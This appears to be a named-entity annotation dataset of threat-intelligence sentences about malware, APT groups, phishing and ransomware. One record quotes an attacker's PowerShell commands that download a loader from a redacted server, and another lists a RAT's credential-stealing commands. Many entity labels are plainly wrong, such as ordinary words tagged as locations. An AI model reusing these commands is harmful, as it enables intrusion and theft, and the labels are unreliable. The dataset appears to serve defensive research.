{"id":1674,"text":" A complete list of the possible commands available in NetWire was documented by CIRCL in April.  The NetWire decoder uses data from a packet capture file to generate the client and server session keys then decode the remaining encrypted packets.","entities":[{"id":45092,"label":"malware","start_offset":55,"end_offset":62},{"id":45093,"label":"malware","start_offset":102,"end_offset":109}],"relations":[],"Comments":[]}
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{"id":12990,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]}
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{"id":441,"text":"When we\u2019re talking about online shopping, clearly there\u2019s no threat here to the retailer: they\u2019re the ones doing the attacking.","entities":[],"relations":[],"Comments":[]}
{"id":14306,"text":"It has the ability to extract plaintext passwords, hash, PIN code, and Kerberos tickets from memory.","entities":[{"id":48525,"label":"SOFTWARE","start_offset":71,"end_offset":80}],"relations":[],"Comments":[]}
{"id":990,"text":" Related Sample Hash Values  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":10304,"text":"IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj.Win32.TRX.XXPE50FFF039  3384a9ef3438bf5ec89f268000cc7c83f15e3cdf746d6a93945add300423f756  email.exe  ","entities":[{"id":31453,"label":"SHA1","start_offset":63,"end_offset":127}],"relations":[],"Comments":[]}
{"id":420,"text":" Obviously, this impact is potentially dire for shoppers and retailers as it directly impacts and harms the online shopping experience.","entities":[],"relations":[],"Comments":[]}
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{"id":807,"text":"The most sophisticated attacks can \u2013 and do \u2013 blend these actions together, sometimes using multiple stolen credentials to penetrate networks, move laterally within them, elevate privileges, and then access and steal data.  Prevention of credential theft is too often overlooked.","entities":[{"id":46361,"label":"attack-pattern","start_offset":238,"end_offset":254},{"id":44864,"label":"attack-pattern","start_offset":101,"end_offset":119},{"id":44865,"label":"attack-pattern","start_offset":143,"end_offset":157},{"id":44866,"label":"attack-pattern","start_offset":171,"end_offset":188},{"id":44867,"label":"attack-pattern","start_offset":200,"end_offset":221}],"relations":[],"Comments":[]}
{"id":5492,"text":"In another chat room called \u201cMaira\u2019s room\u201d, a target of interest disclosed he was a government officer traveling back from a northern city near the country\u2019s provincial capital.","entities":[],"relations":[],"Comments":[]}
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{"id":8793,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":27215,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":27217,"label":"location","start_offset":113,"end_offset":116},{"id":27220,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":3565,"text":" To understand where this value is coming from, let\u2019s take a look at the open-source ConfuserEx tool to see how the values are created.","entities":[{"id":49350,"label":"tools","start_offset":85,"end_offset":96}],"relations":[],"Comments":[]}
{"id":13124,"text":"But such initiatives must be built on solid, secure foundations.","entities":[],"relations":[],"Comments":[]}
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{"id":2641,"text":"(Please see the Conclusion section for more detail.)  LockBit 2.0 Overview Victimology Leak Site Data Unit 42 Incident Response Data on LockBit 2.0 LockBit 2.0 Tactics, Techniques and Procedures LockBit 2.0 Technical Details LockBit 3.0 Courses of Action Conclusion","entities":[{"id":47828,"label":"malware","start_offset":148,"end_offset":159},{"id":47825,"label":"malware","start_offset":54,"end_offset":65},{"id":47826,"label":"identity","start_offset":102,"end_offset":109},{"id":47827,"label":"malware","start_offset":136,"end_offset":147},{"id":47829,"label":"malware","start_offset":195,"end_offset":206},{"id":47830,"label":"malware","start_offset":225,"end_offset":236}],"relations":[],"Comments":[]}
{"id":1241,"text":"However, Palo Alto Networks users are protected from these PUAs by subscribing to WildFire and GlobalProtect services.","entities":[{"id":46624,"label":"SOFTWARE","start_offset":95,"end_offset":108},{"id":46625,"label":"identity","start_offset":9,"end_offset":27},{"id":46622,"label":"SOFTWARE","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
{"id":11020,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":33606,"label":"malware","start_offset":80,"end_offset":87},{"id":33607,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
{"id":369,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  On June 2, Volexity reported that over Memorial Day weekend, they identified suspicious activity on two internet-facing servers running Atlassian\u2019s Confluence Server application.","entities":[{"id":44719,"label":"TIME","start_offset":56,"end_offset":63},{"id":44720,"label":"identity","start_offset":64,"end_offset":72},{"id":44721,"label":"SOFTWARE","start_offset":189,"end_offset":211}],"relations":[],"Comments":[]}
{"id":4037,"text":"After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). C:\\Windows\\system32\\windowspowershell\\v1.0\\powershell.exe -Command \"&{Import-Module BitsTransfer; Start-BitsTransfer 'http:\/\/<redacted>:8000\/dfmanager.exe' \"%temp%\/dfmanager.exe\"}\" C:\\Windows\\system32\\windowspowershell\\v1.0\\powershell.exe -Command \"&{Import-Module BitsTransfer; Start-BitsTransfer 'http:\/\/<redacted>:8000\/dfmanager.bin' \"C:\\Users\\<redacted>\\AppData\\Local\\Temp\/dfmanager.bin\"}\"","entities":[{"id":49882,"label":"attack-pattern","start_offset":92,"end_offset":102},{"id":49888,"label":"FILEPATH","start_offset":385,"end_offset":405},{"id":49891,"label":"URL","start_offset":566,"end_offset":618},{"id":49889,"label":"FILEPATH","start_offset":409,"end_offset":466},{"id":49883,"label":"tools","start_offset":113,"end_offset":122},{"id":49884,"label":"malware","start_offset":182,"end_offset":190},{"id":49885,"label":"threat-actor","start_offset":10,"end_offset":23},{"id":49886,"label":"FILEPATH","start_offset":228,"end_offset":285},{"id":49887,"label":"URL","start_offset":346,"end_offset":382},{"id":49881,"label":"vulnerability","start_offset":68,"end_offset":87},{"id":49890,"label":"URL","start_offset":527,"end_offset":563}],"relations":[{"id":889,"from_id":49885,"to_id":49881,"type":"exploits"},{"id":890,"from_id":49885,"to_id":49882,"type":"uses"},{"id":891,"from_id":49885,"to_id":49883,"type":"uses"},{"id":892,"from_id":49883,"to_id":49884,"type":"downloads"}],"Comments":[]}
{"id":5540,"text":"Some 17,000 sites were recently compromised in this way.","entities":[],"relations":[],"Comments":[]}
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{"id":9996,"text":"Remote access tool w.exe IIS 6 WebDav Exploit Tool Exploit tool for CVE-2017-7269 (IIS 6) Web.exe WebBrowserPassView Recover password stored by browser smb.exe Scanner","entities":[{"id":30512,"label":"location","start_offset":0,"end_offset":6},{"id":30513,"label":"location","start_offset":14,"end_offset":18},{"id":30514,"label":"location","start_offset":46,"end_offset":50},{"id":30515,"label":"location","start_offset":59,"end_offset":63},{"id":30516,"label":"malware","start_offset":98,"end_offset":116}],"relations":[],"Comments":[]}
{"id":1903,"text":"As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.","entities":[{"id":47030,"label":"attack-pattern","start_offset":113,"end_offset":133},{"id":47029,"label":"threat-actor","start_offset":8,"end_offset":15}],"relations":[{"id":290,"from_id":47029,"to_id":47030,"type":"uses"}],"Comments":[]}
{"id":11737,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":36168,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":4039,"text":"Moreover, in its newer version, it uses a technique called \u201cTimestomping.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":4589,"text":"On March 2, Volexity reported in-the-wild exploitation of the vulnerabilities, to which DEVCORE confirmed that the exploit observed by Volexity was the one submitted to MSRC.","entities":[{"id":50451,"label":"TIME","start_offset":3,"end_offset":10},{"id":50452,"label":"identity","start_offset":12,"end_offset":20},{"id":50453,"label":"identity","start_offset":88,"end_offset":95},{"id":50454,"label":"identity","start_offset":135,"end_offset":143},{"id":50455,"label":"identity","start_offset":169,"end_offset":173}],"relations":[],"Comments":[]}
{"id":12496,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":38881,"label":"tools","start_offset":48,"end_offset":54},{"id":38882,"label":"location","start_offset":55,"end_offset":58},{"id":38883,"label":"location","start_offset":59,"end_offset":67},{"id":38884,"label":"location","start_offset":84,"end_offset":87},{"id":38885,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]}
{"id":297,"text":"This directive requires agencies to remediate all vulnerabilities that CISA includes in their KEV catalog based on an assessment that the vulnerabilities \u201ccarry significant risk to the federal enterprise.\u201d","entities":[{"id":45995,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
{"id":5084,"text":"Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.","entities":[],"relations":[],"Comments":[]}
{"id":632,"text":"When the user reboots their PC, the modified MBR prevents Windows from loading and displays a fake \u201cchkdisk\u201d screen which indicates the computer's hard drive is being repaired, but the malware is actually encrypting the user's files.","entities":[{"id":46220,"label":"SOFTWARE","start_offset":58,"end_offset":65},{"id":46219,"label":"SOFTWARE","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
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{"id":2016,"text":"The first type of packer is a modified version of UPX.","entities":[{"id":45223,"label":"tools","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
{"id":5805,"text":"We'll talk about it [00:03:00] here now, but I think when we talk in terms for, especially for here is like cyber conflict, cyber war, or hybrid, and the hybrid piece is just a definition of kinetic and cyber.","entities":[{"id":17957,"label":"TIME","start_offset":21,"end_offset":29},{"id":17958,"label":"location","start_offset":130,"end_offset":133},{"id":17959,"label":"location","start_offset":146,"end_offset":149},{"id":17960,"label":"identity","start_offset":170,"end_offset":174},{"id":17961,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
{"id":5817,"text":"But as we\u2019ve seen, it's an interesting concept because traditionally cyber has just been more of an information gathering or cyber espionage tool to aid any type of conflict.","entities":[{"id":17978,"label":"identity","start_offset":79,"end_offset":83},{"id":17979,"label":"location","start_offset":141,"end_offset":145},{"id":17980,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
{"id":10180,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":31079,"label":"location","start_offset":85,"end_offset":88},{"id":31081,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
{"id":9575,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
{"id":280,"text":"Several western governments have proposed broad recommendations focused on technical hygiene.","entities":[{"id":45967,"label":"identity","start_offset":8,"end_offset":27}],"relations":[],"Comments":[]}
{"id":5082,"text":"The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.","entities":[{"id":51189,"label":"identity","start_offset":64,"end_offset":70},{"id":51191,"label":"identity","start_offset":83,"end_offset":89},{"id":51190,"label":"identity","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
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{"id":3900,"text":"This shows how vulnerable smart factories are when it comes to various cyberattacks, such as ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":9295,"text":"The loaded script is the main script that steals the payment information.","entities":[],"relations":[],"Comments":[]}
{"id":2479,"text":"Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet.","entities":[{"id":47554,"label":"FILEPATH","start_offset":27,"end_offset":31},{"id":47553,"label":"malware","start_offset":86,"end_offset":98}],"relations":[],"Comments":[]}
{"id":13039,"text":"Welcome to our weekly roundup, where we share what you need to know about cybersecurity news and events that happened over the past few days.","entities":[],"relations":[],"Comments":[]}
{"id":9742,"text":"If the targeted victims enable macros, then the malicious process continues.","entities":[],"relations":[],"Comments":[]}
{"id":2885,"text":"The following code is snippet from the disassembled ActionScript code of CVE-2014-1776.","entities":[{"id":48082,"label":"vulnerability","start_offset":73,"end_offset":86}],"relations":[],"Comments":[]}
{"id":710,"text":" If there\u2019s a long-term consideration here, it\u2019s to install perfect forward secrecy, as Twitter did last year.","entities":[{"id":46278,"label":"SOFTWARE","start_offset":88,"end_offset":95}],"relations":[],"Comments":[]}
{"id":13885,"text":"March 2021:","entities":[],"relations":[],"Comments":[]}
{"id":11165,"text":"We terminated 186 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":11167,"text":"We terminated 1,098 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
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{"id":13081,"text":"Share them in the comments below or follow me on Twitter to continue the conversation: @JonLClay.","entities":[{"id":48898,"label":"SOFTWARE","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
{"id":5504,"text":"At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account.","entities":[{"id":51518,"label":"threat-actor","start_offset":82,"end_offset":91}],"relations":[],"Comments":[]}
{"id":203,"text":"An initial investigation into the DDoS attacks suggested that Mirai and Meris bot networks may have been leveraged in the attacks.","entities":[{"id":45900,"label":"malware","start_offset":72,"end_offset":90},{"id":45898,"label":"attack-pattern","start_offset":34,"end_offset":46},{"id":45899,"label":"malware","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
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{"id":9367,"text":"Infrastructure analysis","entities":[],"relations":[],"Comments":[]}
{"id":1404,"text":"Kuluoz makes money for its owner by installing other malware, such as crimeware or fake antivirus programs.","entities":[{"id":45008,"label":"malware","start_offset":0,"end_offset":6},{"id":45009,"label":"attack-pattern","start_offset":70,"end_offset":79},{"id":45010,"label":"attack-pattern","start_offset":83,"end_offset":106}],"relations":[{"id":53,"from_id":45008,"to_id":45009,"type":"uses"},{"id":54,"from_id":45008,"to_id":45010,"type":"uses"}],"Comments":[]}
{"id":13125,"text":"Trend Micro blocked 101% more cloud-based email threats in 2021 than the previous year.","entities":[{"id":48903,"label":"TIME","start_offset":59,"end_offset":63},{"id":48904,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":11739,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":36179,"label":"location","start_offset":85,"end_offset":88},{"id":36181,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
{"id":1811,"text":"     Figure 9. The PowerShell downloading and installing AnyDeskMSI     ","entities":[{"id":5340,"label":"tools","start_offset":19,"end_offset":29},{"id":46932,"label":"tools","start_offset":57,"end_offset":67}],"relations":[{"id":263,"from_id":5340,"to_id":46932,"type":"downloads"}],"Comments":[]}
{"id":2530,"text":" In one recent case, Conti did not return a client\u2019s files who had paid the ransom.","entities":[{"id":47724,"label":"threat-actor","start_offset":21,"end_offset":26}],"relations":[],"Comments":[]}
{"id":12916,"text":"       Figure 8 - Carbanak and FIN7 evaluation, 65 ATT&CK techniques across 11 ATT&CK tactics are in scope for this evaluation.","entities":[{"id":40215,"label":"threat-actor","start_offset":18,"end_offset":26},{"id":40216,"label":"location","start_offset":27,"end_offset":30},{"id":40220,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
{"id":719,"text":" The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:  Confluence Cloud customers are not affected by this vulnerability.","entities":[{"id":46287,"label":"identity","start_offset":5,"end_offset":14},{"id":46288,"label":"vulnerability","start_offset":38,"end_offset":52},{"id":46290,"label":"SOFTWARE","start_offset":131,"end_offset":147},{"id":46289,"label":"SOFTWARE","start_offset":95,"end_offset":128}],"relations":[{"id":180,"from_id":46289,"to_id":46288,"type":"has"}],"Comments":[]}
{"id":2662,"text":"As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.","entities":[{"id":47850,"label":"TIME","start_offset":6,"end_offset":12},{"id":47851,"label":"threat-actor","start_offset":14,"end_offset":25},{"id":47852,"label":"TIME","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
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{"id":5367,"text":"While the first holds the operating system, the second stores programs\u2019 critical files, such as executables, data, and libraries.","entities":[],"relations":[],"Comments":[]}
{"id":2989,"text":"c. Lost device location.","entities":[],"relations":[],"Comments":[]}
{"id":11488,"text":"During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.","entities":[],"relations":[],"Comments":[]}
{"id":5845,"text":"They could have done a deep fake of Zelensky talking about something that could have caused panic inside the country.","entities":[],"relations":[],"Comments":[]}
{"id":940,"text":"Since August 1, Palo Alto Networks WildFire has captured over 18,000 Android apps that contain this library.","entities":[{"id":46451,"label":"TIME","start_offset":6,"end_offset":14},{"id":46450,"label":"identity","start_offset":16,"end_offset":43},{"id":46452,"label":"SOFTWARE","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]}
{"id":3606,"text":"As with Capesand, we will be monitoring the use of the tools mentioned in this blog entry for any future developments and updates.","entities":[{"id":49386,"label":"malware","start_offset":8,"end_offset":16}],"relations":[],"Comments":[]}
{"id":4846,"text":"The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.","entities":[{"id":50806,"label":"attack-pattern","start_offset":26,"end_offset":39}],"relations":[],"Comments":[]}
{"id":1132,"text":"Luckily, the most objective piece of data collected about each mutex, how many samples were classified benign vs. malware, has all the information necessary to ensure that the researchers\u2019 tackle the low hanging fruit first.","entities":[],"relations":[],"Comments":[]}
{"id":14405,"text":"More tools will typically be downloaded using the command & control infrastructure to help with their attack.","entities":[],"relations":[],"Comments":[]}
{"id":1412,"text":" Each e-mail carries one of the following attachments:  These attachments are different versions of the malware that has been packed to evade antivirus engines.","entities":[],"relations":[],"Comments":[]}
{"id":14034,"text":"However, that is not the only scenario where malware developers leak path information about their environment.","entities":[],"relations":[],"Comments":[]}
{"id":3104,"text":" Based on analysis of the vulnerabilities, an industry consensus is emerging that generic protections against attacks aimed at these vulnerabilities will be difficult, if not impossible to develop.","entities":[],"relations":[],"Comments":[]}
{"id":9730,"text":"They target groups across Middle East and Central Asia, primarily using spear phishing emails with malicious attachments.","entities":[{"id":29679,"label":"location","start_offset":5,"end_offset":11},{"id":29681,"label":"location","start_offset":38,"end_offset":41},{"id":29683,"label":"attack-pattern","start_offset":72,"end_offset":86}],"relations":[],"Comments":[]}
{"id":3140,"text":"Email us at u42comms@paloaltonetworks.com.","entities":[{"id":9584,"label":"EMAIL","start_offset":12,"end_offset":41}],"relations":[],"Comments":[]}
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{"id":3274,"text":" Command  Behavior  Compress_Files  Compresses specified files or directories to a ZIP archive  Decompress_File  Extracts files from a specified ZIP archive  AutoRun  Creates a scheduled task for persistence  CloseEverything  Kills the Everything process with the command \u201cTASKKILL \/F \/IM Everything.exe\u201d  OpenEverything  Downloads and runs Everything from voidtools  CloseFFmpegLive  Kills the FFmpeg process with the command \u201cTASKKILL \/F \/IM ffmpeg.exe\u201d  OpenFFmpegLive  Downloads and runs FFmpeg (for screen video capture)  DeleteFile  Deletes files or directories at specified locations  CreateDir  Creates a directory at a specified location  ShowFiles  Gets the disk partition or lists a specified directory with detailed information, including file name, file path, size, create time, and time of modification  Download_File  Downloads a URL and saves the file to a specified location  Upload_File  Uploads the victim\u2019s files to cloud storage  uUninstall  Kills the BIOPASS RAT process and deletes installed files.  CloseObsLive  Kills the OBS process with command \u201cTASKKILL \/F \/IM obs64.exe\u201d  Open_Obs_Live  Downloads OBS Studio and starts live streaming  ProcessList  Lists processes on the victim\u2019s environment and their process identifier (PID)  KillProcess  Kills the process specified by PID with the TASKKILL command  ScreenShot  Takes a screenshot and uploads it to cloud storage  Shell  Executes commands or scripts (subcommands with prefixes subprocess, python, noreturn, getversion, restart)  SnsInfo  Lists QQ, WeChat, and Aliwangwang directories  InstallTcpdump  Downloads and installs the tcpdump tool  PackingTelegram  Compresses and uploads Telegram's \u201ctdata\u201d directory to cloud storage  CloseProxy  Kills frpc process with command \u201cTASKKILL \/F \/IM frpc.exe\u201d  OpenProxy  Downloads and installs the frp proxy client in the \u201c%PUBLIC%\u201d folder  OpenVnc  Downloads and installs jsmpeg-vnc tool in the \u201c%PUBLIC%\/vnc\/\u201d folder  CloseVnc  Kills the VNC process with the command \u201cTASKKILL \/F \/IM vdwm.exe\u201d  GetBrowsersCookies  Decrypts the cookie file of the browser and uploads it to cloud storage  GetBrowsersLogins  Decrypts the login file of the browser and uploads it to cloud storage  GetBrowsersHistories  Uploads the history file of the browser to cloud storage  GetBrowsersBookmarks  Uploads the bookmark file of the browser to cloud storage   Table 2.","entities":[{"id":48372,"label":"FILEPATH","start_offset":289,"end_offset":303}],"relations":[],"Comments":[{"id":1,"comment":"exclude"}]}
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{"id":8144,"text":"After the encoding, it is stored in the head of the final encrypted file followed by the data of the AES-encrypted original data.","entities":[],"relations":[],"Comments":[]}
{"id":3335,"text":"     Figure 28.","entities":[],"relations":[],"Comments":[]}
{"id":5415,"text":"They also contain a module that specifically targets Asus routers.","entities":[],"relations":[],"Comments":[]}
{"id":7450,"text":"However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm.","entities":[{"id":23160,"label":"malware","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
{"id":1830,"text":"     Figure 15.","entities":[],"relations":[],"Comments":[]}
{"id":7597,"text":"Executed parameters As indicated in the parameter above, kernel.dll\/uninstall.exe is also SFXRAR, but password-protected.","entities":[],"relations":[],"Comments":[]}
{"id":2913,"text":"This re-use of techniques is common among exploits, even if they were not developed by the same group, and Palo Alto Networks employs a unique payload-based signature detection methodology, which is able to look at the behaviors of an exploit to prevent similar attacks in the future.","entities":[{"id":45740,"label":"identity","start_offset":107,"end_offset":125}],"relations":[],"Comments":[]}
{"id":13943,"text":"Phase 2: Double extortion.","entities":[],"relations":[],"Comments":[]}
{"id":467,"text":"And these domains are often up for only limited periods of time.","entities":[],"relations":[],"Comments":[]}
{"id":5368,"text":"Cyclops Blink reads 80 bytes from the flash memory, writes it to the main pipe, and enters a loop to wait for a command to replace the partition content:      Figure 8.","entities":[{"id":51367,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
{"id":6608,"text":"Iranian TTPs:","entities":[],"relations":[],"Comments":[]}
{"id":1964,"text":" DTLS is used by Microsoft Remote Desktop Protocol (RDP) to provide communications privacy for datagram protocols.","entities":[{"id":47088,"label":"SOFTWARE","start_offset":17,"end_offset":56}],"relations":[],"Comments":[]}
{"id":3210,"text":"The BIOPASS RAT infection flow     ","entities":[{"id":9806,"label":"malware","start_offset":4,"end_offset":15}],"relations":[],"Comments":[]}
{"id":12642,"text":"This is then encrypted using a hard-coded public RSA key and then embedded in the ransom note.","entities":[{"id":39253,"label":"location","start_offset":31,"end_offset":35},{"id":39254,"label":"location","start_offset":42,"end_offset":48},{"id":39255,"label":"identity","start_offset":49,"end_offset":52},{"id":39256,"label":"location","start_offset":57,"end_offset":60},{"id":39257,"label":"location","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]}
{"id":11070,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":4253,"text":"Our analysis revealed three of them.","entities":[],"relations":[],"Comments":[]}
{"id":1747,"text":"They\u2019re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.","entities":[{"id":46904,"label":"identity","start_offset":24,"end_offset":71}],"relations":[],"Comments":[]}
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{"id":8457,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
{"id":6739,"text":"Google\u2019s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":21021,"label":"location","start_offset":62,"end_offset":70},{"id":21022,"label":"location","start_offset":111,"end_offset":114},{"id":21023,"label":"location","start_offset":115,"end_offset":119},{"id":21024,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":21025,"label":"location","start_offset":147,"end_offset":150},{"id":21027,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
{"id":10607,"text":"TAG tracks more than 270 targeted or government-backed groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
{"id":3071,"text":" It is not clear whether the integrated BitDefender AV engine is actually licensed to the app\u2019s developer.","entities":[{"id":48140,"label":"SOFTWARE","start_offset":40,"end_offset":51}],"relations":[],"Comments":[]}
{"id":14047,"text":"Public blog in the Korean Language     These two indicators reveal that the malware author used an \u201cassert()\u201d path and referenced an external blog in the same manner as previously analyzed malware.","entities":[],"relations":[],"Comments":[]}
{"id":1184,"text":"- http:\/\/www.monster.com\/ - don\u2019t say we never did anything for you.","entities":[{"id":46582,"label":"URL","start_offset":2,"end_offset":25}],"relations":[],"Comments":[]}
{"id":4996,"text":"The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.","entities":[{"id":51055,"label":"vulnerability","start_offset":48,"end_offset":61},{"id":51056,"label":"TIME","start_offset":95,"end_offset":109}],"relations":[],"Comments":[]}
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{"id":5799,"text":"And so, when we talk about in terms of cyber conflict, cyber war, it has usually been in the context of just [00:02:00] another element within that 360-degree dominance that they hope to achieve in any conflict of war.","entities":[{"id":17940,"label":"location","start_offset":0,"end_offset":3},{"id":17941,"label":"location","start_offset":61,"end_offset":64},{"id":17942,"label":"identity","start_offset":104,"end_offset":108},{"id":17944,"label":"location","start_offset":179,"end_offset":183},{"id":17945,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
{"id":1392,"text":" Palo Alto Networks customers receive protections against the OctoberCMS vulnerability in the following ways:  Palo Alto Networks customers receive protections against WhisperGate malware in the following ways:  The Cortex XSOAR \"WhisperGate & CVE-2021-32648'' pack can help automatically detect and mitigate the two threats.","entities":[{"id":44991,"label":"identity","start_offset":1,"end_offset":19},{"id":44996,"label":"SOFTWARE","start_offset":216,"end_offset":228},{"id":44998,"label":"vulnerability","start_offset":244,"end_offset":258},{"id":44993,"label":"identity","start_offset":111,"end_offset":129},{"id":44994,"label":"vulnerability","start_offset":62,"end_offset":86},{"id":44995,"label":"malware","start_offset":168,"end_offset":179},{"id":4172,"label":"malware","start_offset":230,"end_offset":241}],"relations":[{"id":51,"from_id":44995,"to_id":44998,"type":"exploits"},{"id":214,"from_id":4172,"to_id":44998,"type":"exploits"}],"Comments":[]}
{"id":5251,"text":"Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.","entities":[{"id":51291,"label":"identity","start_offset":22,"end_offset":28},{"id":51292,"label":"location","start_offset":111,"end_offset":122}],"relations":[],"Comments":[]}
{"id":12741,"text":"During our research, we noticed over 4,000 infected instances.","entities":[],"relations":[],"Comments":[]}
{"id":11622,"text":" AWS has responded to this customer request by offering partner CloudFormation Resource Types directly from the AWS Management Console.","entities":[],"relations":[],"Comments":[]}
{"id":8764,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
{"id":5263,"text":"Persistent and furtive spyware is an underrated problem for the mobile platform.","entities":[],"relations":[],"Comments":[]}
{"id":2014,"text":" When observing both variants executing on virtual environments, we noted that the more recent variants changed the background to a ghost \u2013 a theme we\u2019ve noticed in this threat actor\u2019s work since our earliest observations of it.","entities":[{"id":5960,"label":"malware","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]}
{"id":8536,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google\u2019s naming), and Kantal (Google\u2019s naming) which shares code similarity with Vidar.","entities":[{"id":26372,"label":"malware","start_offset":79,"end_offset":86},{"id":26379,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
{"id":1343,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Beginning on Jan. 14, 2022, reports began emerging about a series of attacks targeting numerous Ukrainian government websites.","entities":[{"id":46672,"label":"identity","start_offset":149,"end_offset":169},{"id":46671,"label":"TIME","start_offset":66,"end_offset":79}],"relations":[],"Comments":[]}
{"id":2423,"text":"The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.","entities":[{"id":47495,"label":"attack-pattern","start_offset":34,"end_offset":53}],"relations":[],"Comments":[]}
{"id":556,"text":"The wallet got involved in the operation of mixing and tumbling among several other virtual wallets.","entities":[],"relations":[],"Comments":[]}
{"id":4154,"text":"Afterward, we observed a PowerShell command used to download an effective tool, Rclone, which is used for exfiltration.","entities":[{"id":12482,"label":"tools","start_offset":25,"end_offset":35},{"id":12484,"label":"tools","start_offset":80,"end_offset":86}],"relations":[],"Comments":[]}
{"id":7047,"text":"After decrypting the configuration, the config.res file is deleted.","entities":[],"relations":[],"Comments":[]}
{"id":6941,"text":"Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data.","entities":[{"id":21728,"label":"location","start_offset":0,"end_offset":5},{"id":21729,"label":"location","start_offset":23,"end_offset":26},{"id":21730,"label":"malware","start_offset":44,"end_offset":55},{"id":21731,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
